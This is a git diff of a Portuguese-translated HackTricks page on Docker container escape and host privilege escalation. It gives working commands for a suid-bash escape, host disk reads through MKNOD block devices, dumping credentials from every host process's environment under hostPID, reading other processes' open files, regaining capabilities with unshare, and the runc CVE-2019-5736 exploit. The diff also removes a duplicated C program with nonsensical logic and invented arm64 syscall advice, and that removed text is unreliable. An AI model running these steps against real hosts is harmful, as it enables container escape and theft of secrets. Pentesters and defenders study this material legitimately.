Você pode criar um **arquivo bash suid** na **pasta montada** dentro do **contêiner** e **executá-lo a partir do host** para realizar a escalada de privilégios.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -372,13 +371,13 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### Escalação de privilégios com 2 shells
|
||||
|
||||
Se você tem acesso como **root dentro de um container** e você **escapou como um usuário não privilegiado para o host**, você pode abusar de ambos os shells para **escalar privilégios dentro do host** se você tiver a capacidade MKNOD dentro do container (que é por padrão) como [**explicado neste post**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Com essa capacidade, o usuário root dentro do container pode **criar arquivos de dispositivo de bloco**. Arquivos de dispositivo são arquivos especiais que são usados para **acessar hardware subjacente e módulos do kernel**. Por exemplo, o arquivo de dispositivo de bloco /dev/sda dá acesso para **ler os dados brutos no disco do sistema**.
|
||||
Se você tem acesso como **root dentro de um contêiner** e conseguiu **escapar como um usuário não privilegiado para o host**, você pode abusar de ambos os shells para **escalar privilégios dentro do host** se tiver a capacidade MKNOD dentro do contêiner (que é padrão), conforme [**explicado neste post**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Com essa capacidade, o usuário root dentro do contêiner tem permissão para **criar arquivos de dispositivo de bloco**. Arquivos de dispositivo são arquivos especiais usados para **acessar hardware subjacente e módulos do kernel**. Por exemplo, o arquivo de dispositivo de bloco /dev/sda dá acesso para **ler os dados brutos no disco do sistema**.
|
||||
|
||||
O Docker garante que os dispositivos de bloco **não possam ser abusados de dentro do container** definindo uma política cgroup no container que bloqueia a leitura e gravação de dispositivos de bloco.\
|
||||
No entanto, se um dispositivo de bloco é **criado dentro do container, ele pode ser acessado** através da pasta /proc/PID/root/ por alguém **fora do container**, a limitação sendo que o **processo deve ser de propriedade do mesmo usuário** fora e dentro do container.
|
||||
O Docker garante que os dispositivos de bloco **não possam ser abusados de dentro do contêiner** definindo uma política de cgroup no contêiner que bloqueia a leitura e gravação de dispositivos de bloco.\
|
||||
No entanto, se um dispositivo de bloco for **criado dentro do contêiner, ele pode ser acessado** através da pasta /proc/PID/root/ por alguém **fora do contêiner**, com a limitação de que o **processo deve ser de propriedade do mesmo usuário** fora e dentro do contêiner.
|
||||
|
||||
Exemplo de **exploração** deste [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
Exemplo de **exploração** deste [**relatório**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
|
@ -396,7 +395,7 @@ su: Authentication failure
|
|||
(Ignored)
|
||||
augustus@3a453ab39d3d:/backend$ /bin/sh
|
||||
/bin/sh
|
||||
$
|
||||
$
|
||||
```
|
||||
|
||||
```bash
|
||||
|
@ -411,18 +410,18 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_
|
|||
|
||||
# The process ID is 1659 in this case
|
||||
# Grep for the sda for HTB{ through the process:
|
||||
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
|
||||
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
|
||||
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
||||
```
|
||||
### hostPID
|
||||
|
||||
Se você pode acessar os processos do host, você será capaz de acessar muitas informações sensíveis armazenadas nesses processos. Execute o laboratório de teste:
|
||||
Se você conseguir acessar os processos do host, você poderá acessar muitas informações sensíveis armazenadas nesses processos. Execute o laboratório de teste:
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
Por exemplo, você poderá listar os processos usando algo como `ps auxn` e procurar por detalhes sensíveis nos comandos.
|
||||
|
||||
Então, como você pode **acessar cada processo do host em /proc/, você pode simplesmente roubar seus segredos de env** executando:
|
||||
Em seguida, como você pode **acessar cada processo do host em /proc/, você pode simplesmente roubar seus segredos de ambiente** executando:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -431,7 +430,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
Você também pode **acessar os descritores de arquivos de outros processos e ler seus arquivos abertos**:
|
||||
Você também pode **acessar os descritores de arquivo de outros processos e ler os arquivos abertos por eles**:
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -444,40 +443,36 @@ cat /proc/635813/fd/4
|
|||
Você também pode **encerrar processos e causar um DoS**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Se você de alguma forma tiver **acesso privilegiado a um processo fora do contêiner**, você pode executar algo como `nsenter --target <pid> --all` ou `nsenter --target <pid> --mount --net --pid --cgroup` para **executar um shell com as mesmas restrições ns** (esperançosamente nenhuma) **daquele processo.**
|
||||
Se, de alguma forma, você tiver **acesso privilegiado a um processo fora do contêiner**, você pode executar algo como `nsenter --target <pid> --all` ou `nsenter --target <pid> --mount --net --pid --cgroup` para **executar um shell com as mesmas restrições de namespace** (esperançosamente nenhuma) **daquele processo**.
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
Se um contêiner foi configurado com o driver de rede do Docker [host (`--network=host`)](https://docs.docker.com/network/host/), a pilha de rede desse contêiner não está isolada do host do Docker (o contêiner compartilha o namespace de rede do host) e o contêiner não recebe seu próprio endereço IP alocado. Em outras palavras, o **contêiner vincula todos os serviços diretamente ao IP do host**. Além disso, o contêiner pode **interceptar TODO o tráfego de rede que o host** está enviando e recebendo na interface compartilhada `tcpdump -i eth0`.
|
||||
Se um contêiner for configurado com o driver de rede do Docker [host (`--network=host`)](https://docs.docker.com/network/host/), a pilha de rede desse contêiner não está isolada do host do Docker (o contêiner compartilha o namespace de rede do host) e o contêiner não recebe seu próprio endereço IP alocado. Em outras palavras, o **contêiner vincula todos os serviços diretamente ao IP do host**. Além disso, o contêiner pode **interceptar TODO o tráfego de rede que o host** está enviando e recebendo na interface compartilhada `tcpdump -i eth0`.
|
||||
|
||||
Por exemplo, você pode usar isso para **capturar e até mesmo falsificar o tráfego** entre o host e a instância de metadados.
|
||||
|
||||
Como nos seguintes exemplos:
|
||||
Como nos exemplos a seguir:
|
||||
|
||||
* [Writeup: Como entrar em contato com o Google SRE: deixando um shell no Cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM permite escalonamento de privilégios de root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
* [Writeup: Como entrar em contato com o Google SRE: Obtendo acesso a um shell no Cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [MITM do serviço de metadados permite escalonamento de privilégios de root (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
Você também poderá acessar **serviços de rede vinculados ao localhost** dentro do host ou até mesmo acessar as **permissões de metadados do nó** (que podem ser diferentes das que um contêiner pode acessar):
|
||||
|
||||
{% content-ref url="../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/" %}
|
||||
[broken-reference](../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/)
|
||||
{% endcontent-ref %}
|
||||
Você também poderá acessar **serviços de rede vinculados ao localhost** dentro do host ou até mesmo acessar as **permissões de metadados do nó** (que podem ser diferentes das que um contêiner pode acessar).
|
||||
|
||||
### hostIPC
|
||||
```
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
Se você tiver apenas `hostIPC=true`, provavelmente não poderá fazer muito. Se algum processo no host ou em outro pod estiver usando os **mecanismos de comunicação interprocessual** do host (memória compartilhada, arrays de semáforos, filas de mensagens, etc.), você poderá ler/gravar nesses mesmos mecanismos. O primeiro lugar que você deve procurar é `/dev/shm`, pois ele é compartilhado entre qualquer pod com `hostIPC=true` e o host. Você também deve verificar os outros mecanismos IPC com `ipcs`.
|
||||
Se você tiver apenas `hostIPC=true`, provavelmente não poderá fazer muito. Se algum processo no host ou qualquer processo em outro pod estiver usando os **mecanismos de comunicação interprocessual** do host (memória compartilhada, arrays de semáforos, filas de mensagens, etc.), você poderá ler/escrever nesses mesmos mecanismos. O primeiro lugar que você vai querer verificar é `/dev/shm`, pois ele é compartilhado entre qualquer pod com `hostIPC=true` e o host. Você também vai querer verificar os outros mecanismos IPC com `ipcs`.
|
||||
|
||||
* **Inspecione /dev/shm** - Procure por quaisquer arquivos neste local de memória compartilhada: `ls -la /dev/shm`
|
||||
* **Inspecione as instalações IPC existentes** - Você pode verificar se alguma instalação IPC está sendo usada com `/usr/bin/ipcs`. Verifique com: `ipcs -a`
|
||||
|
||||
### Recuperar capacidades
|
||||
### Recupere as capacidades
|
||||
|
||||
Se a chamada do sistema **`unshare`** não estiver proibida, você pode recuperar todas as capacidades executando:
|
||||
Se a chamada de sistema **`unshare`** não estiver proibida, você pode recuperar todas as capacidades executando:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
|
@ -485,13 +480,12 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
### Abuso de namespace de usuário via symlink
|
||||
|
||||
A segunda técnica explicada no post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica como você pode abusar de bind mounts com namespaces de usuário, para afetar arquivos dentro do host (naquele caso específico, excluir arquivos).
|
||||
A segunda técnica explicada no post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indica como você pode abusar de bind mounts com namespaces de usuário para afetar arquivos dentro do host (neste caso específico, excluir arquivos).
|
||||
|
||||
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -499,14 +493,14 @@ Obtenha acesso hoje:
|
|||
|
||||
### Exploração do Runc (CVE-2019-5736)
|
||||
|
||||
Caso você possa executar `docker exec` como root (provavelmente com sudo), tente escalar privilégios escapando de um contêiner abusando do CVE-2019-5736 (exploit [aqui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Essa técnica basicamente **sobrescreverá** o binário _**/bin/sh**_ do **host** **a partir de um contêiner**, então qualquer pessoa que execute o docker exec pode acionar a carga útil.
|
||||
Caso você possa executar `docker exec` como root (provavelmente com sudo), você pode tentar elevar privilégios escapando de um contêiner abusando do CVE-2019-5736 (exploit [aqui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Essa técnica basicamente **sobrescreverá** o binário _**/bin/sh**_ do **host** **a partir de um contêiner**, então qualquer pessoa que execute o docker exec pode acionar a carga útil.
|
||||
|
||||
Altere a carga útil adequadamente e compile o main.go com `go build main.go`. O binário resultante deve ser colocado no contêiner docker para execução.\
|
||||
Ao executar, assim que exibir `[+] Overwritten /bin/sh successfully`, você precisa executar o seguinte da máquina host:
|
||||
Altere a carga útil conforme necessário e compile o main.go com `go build main.go`. O binário resultante deve ser colocado no contêiner Docker para execução.\
|
||||
Ao executar, assim que exibir `[+] Overwritten /bin/sh successfully`, você precisa executar o seguinte no host:
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
`docker exec -it <nome-do-contêiner> /bin/sh`
|
||||
|
||||
Isso acionará a carga útil que está presente no arquivo main.go.
|
||||
Isso acionará a carga útil presente no arquivo main.go.
|
||||
|
||||
Para mais informações: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
|
@ -516,12 +510,12 @@ Existem outras CVEs às quais o contêiner pode ser vulnerável, você pode enco
|
|||
|
||||
## Docker Custom Escape
|
||||
|
||||
### Superfície de escape do Docker
|
||||
### Superfície de Escape do Docker
|
||||
|
||||
* **Namespaces:** O processo deve estar **completamente separado de outros processos** por meio de namespaces, para que não possamos escapar interagindo com outros processos devido a namespaces (por padrão, não pode se comunicar via IPCs, soquetes unix, serviços de rede, D-Bus, `/proc` de outros processos).
|
||||
* **Namespaces:** O processo deve estar **completamente separado de outros processos** por meio de namespaces, para que não possamos escapar interagindo com outros processos devido aos namespaces (por padrão, não é possível se comunicar via IPCs, soquetes Unix, serviços de rede, D-Bus, `/proc` de outros processos).
|
||||
* **Usuário root**: Por padrão, o usuário que executa o processo é o usuário root (no entanto, seus privilégios são limitados).
|
||||
* **Capacidades**: O Docker deixa as seguintes capacidades: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscalls**: Estes são os syscalls que o **usuário root não poderá chamar** (por falta de capacidades + Seccomp). Os outros syscalls poderiam ser usados para tentar escapar.
|
||||
* **Syscalls**: Essas são as syscalls que o **usuário root não poderá chamar** (por falta de capacidades + Seccomp). As outras syscalls podem ser usadas para tentar escapar.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64 syscalls" %}
|
||||
|
@ -545,15 +539,7 @@ Existem outras CVEs às quais o contêiner pode ser vulnerável, você pode enco
|
|||
0x140 -- kexec_file_load
|
||||
0x141 -- bpf
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscalls arm64" %}
|
||||
|
||||
As chamadas de sistema são a interface entre o espaço do usuário e o kernel. O kernel expõe uma série de funções que podem ser chamadas pelos programas do espaço do usuário para realizar tarefas que requerem privilégios elevados. As chamadas de sistema são identificadas por um número inteiro exclusivo, conhecido como número de chamada do sistema ou syscall number.
|
||||
|
||||
No caso do arm64, as chamadas de sistema são diferentes das do x86_64. Para encontrar as chamadas de sistema corretas para o seu sistema, você pode executar o comando `syscall` no terminal e verificar a saída. Isso listará todas as chamadas de sistema disponíveis no seu sistema.
|
||||
|
||||
Para obter mais informações sobre as chamadas de sistema arm64, consulte a página do manual `syscall(2)`.
|
||||
{% tab title="chamadas de sistema arm64" %}
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
0x059 -- acct
|
||||
|
@ -571,297 +557,7 @@ Para obter mais informações sobre as chamadas de sistema arm64, consulte a pá
|
|||
0x111 -- finit_module
|
||||
0x118 -- bpf
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
|
||||
#define MAX_CMD_LEN 1024
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc < 2) {
|
||||
printf("Usage: %s <command>\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char cmd[MAX_CMD_LEN];
|
||||
memset(cmd, 0, MAX_CMD_LEN);
|
||||
|
||||
for (int i = 1; i < argc; i++) {
|
||||
strcat(cmd, argv[i]);
|
||||
strcat(cmd, " ");
|
||||
}
|
||||
|
||||
int fd = open("/proc/self/mem", O_RDWR);
|
||||
if (fd == -1) {
|
||||
perror("open");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
off_t offset = 0;
|
||||
int found = 0;
|
||||
char buf[1024];
|
||||
memset(buf, 0, 1024);
|
||||
|
||||
while (!found) {
|
||||
lseek(fd, offset, SEEK_SET);
|
||||
ssize_t n = read(fd, buf, 1024);
|
||||
if (n == -1) {
|
||||
perror("read");
|
||||
exit(1);
|
||||
} else if (n == 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
char *p = memmem(buf, 1024, "/proc/self/mem", strlen("/proc/self/mem"));
|
||||
if (p != NULL) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
offset += n;
|
||||
}
|
||||
|
||||
if (!found) {
|
||||
printf("Failed to find /proc/self/mem in /proc/self/maps\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char *q = memmem(buf, 1024, "-", strlen("-"));
|
||||
if (q == NULL) {
|
||||
printf("Failed to parse /proc/self/maps\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
off_t start = (off_t) strtol(buf, NULL, 16);
|
||||
off_t end = (off_t) strtol(q + 1, NULL, 16);
|
||||
|
||||
printf("Found /proc/self/mem at %lx-%lx\n", start, end);
|
||||
|
||||
char *p_cmd = strstr(buf, "r-xp");
|
||||
if (p_cmd == NULL) {
|
||||
printf("Failed to find executable memory\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
off_t cmd_start = (off_t) strtol(p_cmd - 13, NULL, 16);
|
||||
off_t cmd_end = (off_t) strtol(p_cmd - 9, NULL, 16);
|
||||
|
||||
printf("Found executable memory at %lx-%lx\n", cmd_start, cmd_end);
|
||||
|
||||
off_t cmd_offset = cmd_start - start;
|
||||
off_t cmd_size = cmd_end - cmd_start;
|
||||
|
||||
printf("Command size: %lx\n", cmd_size);
|
||||
|
||||
char *cmd_buf = malloc(cmd_size);
|
||||
if (cmd_buf == NULL) {
|
||||
perror("malloc");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
lseek(fd, cmd_offset, SEEK_SET);
|
||||
ssize_t n = read(fd, cmd_buf, cmd_size);
|
||||
if (n == -1) {
|
||||
perror("read");
|
||||
exit(1);
|
||||
} else if (n != cmd_size) {
|
||||
printf("Short read: %ld instead of %lx\n", n, cmd_size);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Read command: %s\n", cmd_buf);
|
||||
|
||||
char *p_sh = strstr(cmd_buf, "/bin/sh");
|
||||
if (p_sh == NULL) {
|
||||
printf("Failed to find /bin/sh in command\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
off_t sh_offset = p_sh - cmd_buf + cmd_offset;
|
||||
printf("Found /bin/sh at %lx\n", sh_offset);
|
||||
|
||||
off_t stack_offset = end - 0x100000;
|
||||
printf("Using stack offset: %lx\n", stack_offset);
|
||||
|
||||
off_t *stack_ptr = (off_t *) (stack_offset + sizeof(off_t));
|
||||
*stack_ptr = sh_offset;
|
||||
|
||||
printf("Executing command: %s\n", cmd);
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == -1) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
} else if (pid == 0) {
|
||||
char *args[] = {"/bin/sh", "-c", cmd, NULL};
|
||||
execve(args[0], args, NULL);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
waitpid(pid, NULL, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
|
||||
#define MAX_CMD_LEN 1024
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (argc < 2) {
|
||||
printf("Uso: %s <comando>\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char cmd[MAX_CMD_LEN];
|
||||
memset(cmd, 0, MAX_CMD_LEN);
|
||||
|
||||
for (int i = 1; i < argc; i++) {
|
||||
strcat(cmd, argv[i]);
|
||||
strcat(cmd, " ");
|
||||
}
|
||||
|
||||
int fd = open("/proc/self/mem", O_RDWR);
|
||||
if (fd == -1) {
|
||||
perror("open");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
off_t offset = 0;
|
||||
int found = 0;
|
||||
char buf[1024];
|
||||
memset(buf, 0, 1024);
|
||||
|
||||
while (!found) {
|
||||
lseek(fd, offset, SEEK_SET);
|
||||
ssize_t n = read(fd, buf, 1024);
|
||||
if (n == -1) {
|
||||
perror("read");
|
||||
exit(1);
|
||||
} else if (n == 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
char *p = memmem(buf, 1024, "/proc/self/mem", strlen("/proc/self/mem"));
|
||||
if (p != NULL) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
offset += n;
|
||||
}
|
||||
|
||||
if (!found) {
|
||||
printf("Falha ao encontrar /proc/self/mem em /proc/self/maps\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char *q = memmem(buf, 1024, "-", strlen("-"));
|
||||
if (q == NULL) {
|
||||
printf("Falha ao analisar /proc/self/maps\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
off_t start = (off_t) strtol(buf, NULL, 16);
|
||||
off_t end = (off_t) strtol(q + 1, NULL, 16);
|
||||
|
||||
printf("Encontrado /proc/self/mem em %lx-%lx\n", start, end);
|
||||
|
||||
char *p_cmd = strstr(buf, "r-xp");
|
||||
if (p_cmd == NULL) {
|
||||
printf("Falha ao encontrar memória executável\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
off_t cmd_start = (off_t) strtol(p_cmd - 13, NULL, 16);
|
||||
off_t cmd_end = (off_t) strtol(p_cmd - 9, NULL, 16);
|
||||
|
||||
printf("Encontrada memória executável em %lx-%lx\n", cmd_start, cmd_end);
|
||||
|
||||
off_t cmd_offset = cmd_start - start;
|
||||
off_t cmd_size = cmd_end - cmd_start;
|
||||
|
||||
printf("Tamanho do comando: %lx\n", cmd_size);
|
||||
|
||||
char *cmd_buf = malloc(cmd_size);
|
||||
if (cmd_buf == NULL) {
|
||||
perror("malloc");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
lseek(fd, cmd_offset, SEEK_SET);
|
||||
ssize_t n = read(fd, cmd_buf, cmd_size);
|
||||
if (n == -1) {
|
||||
perror("read");
|
||||
exit(1);
|
||||
} else if (n != cmd_size) {
|
||||
printf("Leitura curta: %ld em vez de %lx\n", n, cmd_size);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Lendo comando: %s\n", cmd_buf);
|
||||
|
||||
char *p_sh = strstr(cmd_buf, "/bin/sh");
|
||||
if (p_sh == NULL) {
|
||||
printf("Falha ao encontrar /bin/sh no comando\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
off_t sh_offset = p_sh - cmd_buf + cmd_offset;
|
||||
printf("Encontrado /bin/sh em %lx\n", sh_offset);
|
||||
|
||||
off_t stack_offset = end - 0x100000;
|
||||
printf("Usando offset de pilha: %lx\n", stack_offset);
|
||||
|
||||
off_t *stack_ptr = (off_t *) (stack_offset + sizeof(off_t));
|
||||
*stack_ptr = sh_offset;
|
||||
|
||||
printf("Executando comando: %s\n", cmd);
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == -1) {
|
||||
perror("fork");
|
||||
exit(1);
|
||||
} else if (pid == 0) {
|
||||
char *args[] = {"/bin/sh", "-c", cmd, NULL};
|
||||
execve(args[0], args, NULL);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
waitpid(pid, NULL, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -873,29 +569,29 @@ int main(int argc, char **argv) {
|
|||
|
||||
int main()
|
||||
{
|
||||
for(int i = 0; i < 333; ++i)
|
||||
{
|
||||
if(i == SYS_rt_sigreturn) continue;
|
||||
if(i == SYS_select) continue;
|
||||
if(i == SYS_pause) continue;
|
||||
if(i == SYS_exit_group) continue;
|
||||
if(i == SYS_exit) continue;
|
||||
if(i == SYS_clone) continue;
|
||||
if(i == SYS_fork) continue;
|
||||
if(i == SYS_vfork) continue;
|
||||
if(i == SYS_pselect6) continue;
|
||||
if(i == SYS_ppoll) continue;
|
||||
if(i == SYS_seccomp) continue;
|
||||
if(i == SYS_vhangup) continue;
|
||||
if(i == SYS_reboot) continue;
|
||||
if(i == SYS_shutdown) continue;
|
||||
if(i == SYS_msgrcv) continue;
|
||||
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
|
||||
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
|
||||
printf("Error\n");
|
||||
else
|
||||
printf("OK\n");
|
||||
}
|
||||
for(int i = 0; i < 333; ++i)
|
||||
{
|
||||
if(i == SYS_rt_sigreturn) continue;
|
||||
if(i == SYS_select) continue;
|
||||
if(i == SYS_pause) continue;
|
||||
if(i == SYS_exit_group) continue;
|
||||
if(i == SYS_exit) continue;
|
||||
if(i == SYS_clone) continue;
|
||||
if(i == SYS_fork) continue;
|
||||
if(i == SYS_vfork) continue;
|
||||
if(i == SYS_pselect6) continue;
|
||||
if(i == SYS_ppoll) continue;
|
||||
if(i == SYS_seccomp) continue;
|
||||
if(i == SYS_vhangup) continue;
|
||||
if(i == SYS_reboot) continue;
|
||||
if(i == SYS_shutdown) continue;
|
||||
if(i == SYS_msgrcv) continue;
|
||||
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
|
||||
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
|
||||
printf("Error\n");
|
||||
else
|
||||
printf("OK\n");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
@ -908,12 +604,12 @@ int main()
|
|||
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
|
||||
|
||||
* Find the **path of the containers filesystem** inside the host
|
||||
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
|
||||
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
|
||||
* Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
|
||||
* You should be able to **execute the trigger from inside the host**
|
||||
* You need to know where the containers files are located inside the host to indicate a script you write inside the host
|
||||
* You should be able to **execute the trigger from inside the host**
|
||||
* You need to know where the containers files are located inside the host to indicate a script you write inside the host
|
||||
* Have **enough capabilities and disabled protections** to be able to abuse that functionality
|
||||
* You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
|
||||
* You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
|
||||
|
||||
## References
|
||||
|
||||
|
@ -925,9 +621,10 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
|
||||
\
|
||||
|
||||
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
|
@ -940,7 +637,7 @@ Get Access Today:
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
